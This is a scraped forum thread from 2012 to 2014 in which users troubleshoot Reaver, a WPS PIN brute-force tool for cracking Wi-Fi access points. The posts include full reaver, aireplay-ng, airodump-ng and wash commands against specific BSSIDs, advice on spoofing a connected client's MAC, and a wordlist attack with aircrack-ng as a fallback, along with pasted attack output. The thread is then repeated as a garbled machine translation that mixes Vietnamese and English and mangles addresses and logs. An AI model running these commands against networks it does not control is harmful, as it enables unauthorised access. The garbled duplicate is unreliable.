put all manually like essid and cha

put all manually like essid and channel Jan 30, 2012 #3 [e-mail] I just tried reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 11 -p
name -vv with the same result. Jan 31, 2012 #4 [e-mail] are you spoofing your mac address? Jan 31, 2012 #5 [e-mail] Nope, Other than putting the interface into monitor
mode, i'm not messing with the network settings at
all. Some information I forgot to add is that i'm running
bt5r1 in vmware fusion on OS X Snow Leopard. Feb 1, 2012 #7 [e-mail] Try to use the -A option with aireplay-ng. reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 11 -e
network_name -vv -A aireplay-ng -1 30 -a "mac AP" -h "mac client" -e
"network name" mon0 sometimes aireplay-ng does listen on a wrong
channel.
Simply run airodump-ng once on the right channel
to fix that. airodump-ng -c 11 wlan0 Feb 1, 2012 #8 [e-mail] sudo wash -i mon0 ,,if essid does not show,,then
wps is not active Feb 2, 2012 #9 [e-mail] To associate has nothing to do with wps. Feb 3, 2012 #10 [e-mail] Thanks for the help guys. I'd did the wash -i mon0 trick and found the access
point I was testing didn't have wps enabled. Finding
another one that did got association immediately. What I get now is a whole lot of: [+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred. grr... Jul 16, 2012 #11 [e-mail] it says right on the aireplay wiki page that a Fake
Auth using aireplay will NOT work with WPA/WPA2
access points.... read before you post silly things. Aug 2, 2012 #12 [e-mail] RE: [e-mail] he is not asking about
aireplay but he is asking about "Reaver" so read
before you post silly answers. RE: to OP, i was having the same issue as you
are, and I used airplay like people said, which can
associate with WPA2, and now reaver works, but i
think you need to run aireplay from time to time to
re-associate. Output from aireplay running against my AP that
only serv WPA2/AES:
13:45:19 Sending Authentication Request (Open
System) [ACK]
13:45:19 Authentication successful
13:45:19 Sending Association Request [ACK] 13:45:19 Association successful :-) (AID: 1) Output from reaver after running aireplay:
[+] Waiting for beacon from xx:xx:xx:xx:xx:xx
[+] Switching mon0 to channel 11
[+] Associated with xx:xx:xx:xx:xx:xx (ESSID:
xxxxxx)
[+] Trying pin 12345670 Sep 12, 2012 #13 [e-mail] whenever i try the aireplay association thing I get
various looping errors but NO progress. running bt5
with b43 Sep 27, 2012 #14 [e-mail] I used to have the same problem as OP while using
Reaver on my router, then I used aireplay-ng to
associate and managed to do so - but not quite.
This is what I get: 03:24:33 Sending Authentication Request (Open
System) [ACK]
03:24:33 Authentication successful
03:24:33 Sending Association Request [ACK]
03:24:33 Denied (code 12), wrong ESSID or WPA ? Also, Reaver gets passed the original problem and
is now stuck at this: [+] Waiting for beacon from 00:1D:68:FC:0D:30
[+] Associated with 00:1D:68:FC:0D:30 (ESSID:
SpeedTouch) Any ideas? The router indeed does not show when i
use wash, but I was optimistic when Reaver
managed to associate with it (did it?) Sep 27, 2012 #15 [e-mail] I made some progress on the issue: spoofing the
interface mac address to a client already connected
to the AP got me success at associating using
aireplay-ng: 03:42:58 Sending Authentication Request (Open
System) [ACK]
03:42:58 Authentication successful
03:42:58 Sending Association Request [ACK]
03:42:58 Denied (code 12), wrong ESSID or WPA ? 03:43:01 Sending Authentication Request (Open
System) [ACK]
03:43:01 Authentication successful
03:43:01 Sending Association Request [ACK]
03:43:01 Association successful :-) (AID: 1) As for Reaver, it still didn't get passed the lines in
my post before this one, but when I used -L, this is
what started to happen: [+] Switching mon4 to channel 1
[+] Waiting for beacon from 00:1D:68:FC:0D:30
[+] Associated with 00:1D:68:FC:0D:30 (ESSID:
SpeedTouch)
[+] Trying pin 12345670
[+] Sending EAPOL START request [!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurredNov 12, 2012 #16 [e-mail] Here me to having same kind of problem don't know
how to figure it out help me guys
[+] Waiting for beacon from 08:86:3B:8C:DB:59
[+] Switching mon0 to channel 1
[!] WARNING: Failed to associate with
08:86:3B:8C:DB:59 (ESSID: belkin.b58.guests) [!] WARNING: Failed to associate with
08:86:3B:8C:DB:59 (ESSID: belkin.b58.guests)
[!] WARNING: Failed to associate with
08:86:3B:8C:DB:59 (ESSID: belkin.b58.guests)
[!] WARNING: Failed to associate with
08:86:3B:8C:DB:59 (ESSID: belkin.b58.guests) [!] WARNING: Failed to associate with
08:86:3B:8C:DB:59 (ESSID: belkin.b58.guests)
it's goes on and on.. Dec 4, 2012 #17 [e-mail] Hey ziv I'm getting the same problem as you,
reaver is stalling after it makes an association,
made any progress yet? Dec 5, 2012 #18 [e-mail] I am afraid I made no further progress. It would
seem that if the router you are targeting does not
show when you use 'wash', reaver can't work with it. Dec 9, 2012 #19 [e-mail] same problem Dec 9, 2012 #20 [e-mail] anyone any idea why this message pops up
"WARNING: Failed to associate with" Feb 5, 2013 #21 [e-mail] If you are using mac spoofing, try disabling it. Mar 1, 2013 #23 [e-mail] may be you are attacking router without WPS
function or disabled WPS function. May 4, 2013 #24 [e-mail] Dear
check the WPS , if is it disabled , you cannot with
reaver , You should go for aircrack with a good
wordlist May 6, 2013 #25 [e-mail] the same problem
aircrack with a good word list you must 1 year for
crack it ??????
i can't crack with anyway !!!!!!!!!!! May 26, 2013 #26 [e-mail] If WPS is disabled you have to use your wordlist
with aircrack-ng ,else you can use reaver to get the
pin and key... nothing it easy ! Jun 8, 2013 #27 [e-mail] same problem Oct 2, 2013 #28 [e-mail] I believe this happens because the AP turns of the
WPS function after so many failed attempts. Nov 10, 2013 #29 [e-mail] hello all, i am running reaver like this:
reaver -i mon0 -b 7C:05:07:6F:AB:27 -c 1 -e
xxxxxxxx -vv -A i get:
[!] WPS transaction failed (code: 0x03), re-trying
last pin
[+] Trying pin 11115670
[+] Sending EAPOL START request
[+] Received identity request [+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request [+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message [+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying
last pin
......
.... ... and data from kismet:
Network 26: BSSID 7C:05:07:6F:AB:27
Manuf : Unknown
First : Sun Nov 10 22:34:31 2013
Last : Sun Nov 10 23:19:31 2013
Type : infrastructure BSSID : 7C:05:07:6F:AB:27
SSID 1
Type : Beacon
SSID : "xxxxxx"
First : Sun Nov 10 22:34:31 2013
Last : Sun Nov 10 23:19:31 2013 Max Rate : 54.0
Beacon : 10
Packets : 1727
Encryption : WPA+PSK
Encryption : WPA+TKIP
Encryption : WPA+AES-CCM Channel : 1
Frequency : 2412 - 1723 packets, 99.77%
Frequency : 2422 - 3 packets, 0.17%
Frequency : 2447 - 1 packets, 0.06%
Max Seen : 1000
LLC : 1727 Data : 0
Crypt : 0
Fragments : 0
Retries : 0
Total : 1727
Datasize : 0 Last BSSTS : 371379917190
Seen By : wlan1 (wlan1mon) e227fe8c-4a4f-11e3-
b740-dd04bc23e301 1727 packets Thanx Dec 16, 2013 #30 [e-mail] I am getting this error on Reaver Pro 2. Any advice
as there is no command in Reaver Pro 2? Dec 16, 2013 #31 [e-mail] Just realised if I pause and restart Reaver then this
problem goes away. That's annoying. So I can't
leave Reaver to crack this as it might come up with
this problem! :( Dec 30, 2013 #32 [e-mail]
https://code.google.com/p/reaver-wps/issues/detail?
id=167 May 26, 2014 #33 [e-mail] i have problem with:
[!] WARNING: Failed to associate with.....
too, but i have external wi-fi card and reaver works
perfectly on internal card can associate and
everything, but doesn't work on external one just
[!] WARNING: Failed to associate with all the time, card is: Ralink RT2870/3070 Jul 8, 2014 #34 [e-mail] Hello guys,
I am also having the same issue, although I am
new to linux. sudo reaver -i mon0 -b 90:F6:52:60:4C:4E -vv Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions,
Craig Heffner [+] Waiting for beacon from 90:F6:52:60:4C:4E
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!

Results (Vietnamese) 1:

put all manually like essid and channel Jan 30, 2012 #3 [e-mail] I just tried reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 11 -pname -vv with the same result. Jan 31, 2012 #4 [e-mail] are you spoofing your mac address? Jan 31, 2012 #5 [e-mail] Nope, Other than putting the interface into monitormode, i'm not messing with the network settings atall. Some information I forgot to add is that i'm runningbt5r1 in vmware fusion on OS X Snow Leopard. Feb 1, 2012 #7 [e-mail] Try to use the -A option with aireplay-ng. reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 11 -enetwork_name -vv -A aireplay-ng -1 30 -a "mac AP" -h "mac client" -e"network name" mon0 sometimes aireplay-ng does listen on a wrongchannel.Simply run airodump-ng once on the right channelto fix that. airodump-ng -c 11 wlan0 Feb 1, 2012 #8 [e-mail] sudo wash -i mon0 ,,if essid does not show,,thenwps is not active Feb 2, 2012 #9 [e-mail] To associate has nothing to do with wps. Feb 3, 2012 #10 [e-mail] Thanks for the help guys. I'd did the wash -i mon0 trick and found the accesspoint I was testing didn't have wps enabled. Findinganother one that did got association immediately. What I get now is a whole lot of: [+] Sending EAPOL START request[!] WARNING: Receive timeout occurred. grr... Jul 16, 2012 #11 [e-mail] it says right on the aireplay wiki page that a FakeAuth using aireplay will NOT work with WPA/WPA2access points.... read before you post silly things. Aug 2, 2012 #12 [e-mail] RE: [e-mail] he is not asking aboutaireplay but he is asking about "Reaver" so readbefore you post silly answers. RE: to OP, i was having the same issue as youare, and I used airplay like people said, which canassociate with WPA2, and now reaver works, but ithink you need to run aireplay from time to time tore-associate. Output from aireplay running against my AP thatonly serv WPA2/AES:13:45:19 Sending Authentication Request (OpenSystem) [ACK]13:45:19 Authentication successful13:45:19 Sending Association Request [ACK] 13:45:19 Association successful :-) (AID: 1) Output from reaver after running aireplay:[+] Waiting for beacon from xx:xx:xx:xx:xx:xx[+] Switching mon0 to channel 11[+] Associated with xx:xx:xx:xx:xx:xx (ESSID:xxxxxx)[+] Trying pin 12345670 Sep 12, 2012 #13 [e-mail] whenever i try the aireplay association thing I getvarious looping errors but NO progress. running bt5with b43 Sep 27, 2012 #14 [e-mail] I used to have the same problem as OP while usingReaver on my router, then I used aireplay-ng toassociate and managed to do so - but not quite.This is what I get: 03:24:33 Sending Authentication Request (OpenSystem) [ACK]03:24:33 Authentication successful03:24:33 Sending Association Request [ACK]03:24:33 Denied (code 12), wrong ESSID or WPA ? Also, Reaver gets passed the original problem andbây giờ được mắc kẹt tại đây: [+] đợi beacon từ 00: 1D: 68:FC:0 D: 30[+] Liên quan đến 00: 1D: 68:FC:0 D: 30 (ESSID:Bản) bất kỳ ý tưởng? Các bộ định tuyến thực sự không hiển thị khi tôisử dụng rửa, nhưng tôi đã lạc quan khi Reaverquản lý liên kết với nó (đã làm nó?) Tháng chín 27, 2012 #15 [e-mail] tôi thực hiện một số tiến bộ về vấn đề: giả mạo cácđịa chỉ mac của giao diện cho một khách hàng đã được kết nốiđể AP đã cho tôi sự thành công liên kết mà sử dụngaireplay-ng: 03:42:58 gửi yêu cầu xác thực (mởHệ thống) [ACK]03:42:58 xác thực thành công03:42:58 gửi Hiệp hội yêu cầu [ACK]03:42:58 chối (mã 12), sai ESSID hoặc WPA? 03:43:01 gửi yêu cầu xác thực (mởHệ thống) [ACK]03:43:01 xác thực thành công03:43:01 gửi Hiệp hội yêu cầu [ACK]03:43:01 Hiệp hội thành công :-) (Viện trợ: 1) cho Reaver, nó vẫn không có được thông qua những dòng trongđăng bài của tôi trước khi điều này, nhưng khi tôi sử dụng -L, đây lànhững gì bắt đầu xảy ra: [+] chuyển mạch mon4 kênh 1[+] Chờ đợi cho các đèn hiệu từ 00: 1D: 68:FC:0 D: 30[+] Liên quan đến 00: 1D: 68:FC:0 D: 30 (ESSID:Bản)[+] Cố gắng pin 12345670[+] Gửi yêu cầu EAPOL bắt đầu [!] Cảnh báo: Nhận được thời gian chờ xảy ra[+] Gửi yêu cầu EAPOL bắt đầu[!] Cảnh báo: Nhận được thời gian chờ xảy ra[+] Gửi yêu cầu EAPOL bắt đầu[!] Cảnh báo: Nhận được thời gian chờ occurredNov 12, 2012 #16 [e-mail] ở đây tôi có cùng một loại của vấn đề không biếtlàm thế nào để tìm nó ra giúp tôi guys[+] Waiting for beacon from 08:86:3B:8C:DB:59[+] Switching mon0 to channel 1[!] WARNING: Failed to associate with08:86:3B:8C:DB:59 (ESSID: belkin.b58.guests) [!] WARNING: Failed to associate with08:86:3B:8C:DB:59 (ESSID: belkin.b58.guests)[!] WARNING: Failed to associate with08:86:3B:8C:DB:59 (ESSID: belkin.b58.guests)[!] WARNING: Failed to associate with08:86:3B:8C:DB:59 (ESSID: belkin.b58.guests) [!] WARNING: Failed to associate with08:86:3B:8C:DB:59 (ESSID: belkin.b58.guests)it's goes on and on.. Dec 4, 2012 #17 [e-mail] Hey ziv I'm getting the same problem as you,reaver is stalling after it makes an association,made any progress yet? Dec 5, 2012 #18 [e-mail] I am afraid I made no further progress. It wouldseem that if the router you are targeting does notshow when you use 'wash', reaver can't work with it. Dec 9, 2012 #19 [e-mail] same problem Dec 9, 2012 #20 [e-mail] anyone any idea why this message pops up"WARNING: Failed to associate with" Feb 5, 2013 #21 [e-mail] If you are using mac spoofing, try disabling it. Mar 1, 2013 #23 [e-mail] may be you are attacking router without WPSfunction or disabled WPS function. May 4, 2013 #24 [e-mail] Dearcheck the WPS , if is it disabled , you cannot withreaver , You should go for aircrack with a goodwordlist May 6, 2013 #25 [e-mail] the same problemaircrack with a good word list you must 1 year forcrack it ??????i can't crack with anyway !!!!!!!!!!! May 26, 2013 #26 [e-mail] If WPS is disabled you have to use your wordlistwith aircrack-ng ,else you can use reaver to get thepin and key... nothing it easy ! Jun 8, 2013 #27 [e-mail] same problem Oct 2, 2013 #28 [e-mail] I believe this happens because the AP turns of theWPS function after so many failed attempts. Nov 10, 2013 #29 [e-mail] hello all, i am running reaver like this:reaver -i mon0 -b 7C:05:07:6F:AB:27 -c 1 -exxxxxxxx -vv -A i get:[!] WPS transaction failed (code: 0x03), re-tryinglast pin[+] Trying pin 11115670[+] Sending EAPOL START request[+] Received identity request [+] Sending identity response[+] Received identity request[+] Sending identity response[+] Received identity request[+] Sending identity response[+] Received identity request [+] Sending identity response[+] Received identity request[+] Sending identity response[+] Received M1 message[+] Sending M2 message[+] Received M1 message [+] Sending WSC NACK[+] Sending WSC NACK[!] WPS transaction failed (code: 0x03), re-tryinglast pin.......... ... and data from kismet:Network 26: BSSID 7C:05:07:6F:AB:27 Manuf : Unknown First : Sun Nov 10 22:34:31 2013 Last : Sun Nov 10 23:19:31 2013 Type : infrastructure BSSID : 7C:05:07:6F:AB:27 SSID 1 Type : Beacon SSID : "xxxxxx" First : Sun Nov 10 22:34:31 2013 Last : Sun Nov 10 23:19:31 2013 Max Rate : 54.0
Beacon : 10
Packets : 1727
Encryption : WPA+PSK
Encryption : WPA+TKIP
Encryption : WPA+AES-CCM Channel : 1
Frequency : 2412 - 1723 packets, 99.77%
Frequency : 2422 - 3 packets, 0.17%
Frequency : 2447 - 1 packets, 0.06%
Max Seen : 1000
LLC : 1727 Data : 0
Crypt : 0
Fragments : 0
Retries : 0
Total : 1727
Datasize : 0 Last BSSTS : 371379917190
Seen By : wlan1 (wlan1mon) e227fe8c-4a4f-11e3-
b740-dd04bc23e301 1727 packets Thanx Dec 16, 2013 #30 [e-mail] I am getting this error on Reaver Pro 2. Any advice
as there is no command in Reaver Pro 2? Dec 16, 2013 #31 [e-mail] Just realised if I pause and restart Reaver then this
problem goes away. That's annoying. So I can't
leave Reaver to crack this as it might come up with
this problem! :( Dec 30, 2013 #32 [e-mail]
https://code.google.com/p/reaver-wps/issues/detail?
id=167 May 26, 2014 #33 [e-mail] i have problem with:
[!] WARNING: Failed to associate with.....
too, but i have external wi-fi card and reaver works
perfectly on internal card can associate and
everything, but doesn't work on external one just
[!] WARNING: Failed to associate with all the time, card is: Ralink RT2870/3070 Jul 8, 2014 #34 [e-mail] Hello guys,
I am also having the same issue, although I am
new to linux. sudo reaver -i mon0 -b 90:F6:52:60:4C:4E -vv Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions,
Craig Heffner [+] Waiting for beacon from 90:F6:52:60:4C:4E
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with
90:F6:52:60:4C:4E (ESSID: (null))
[!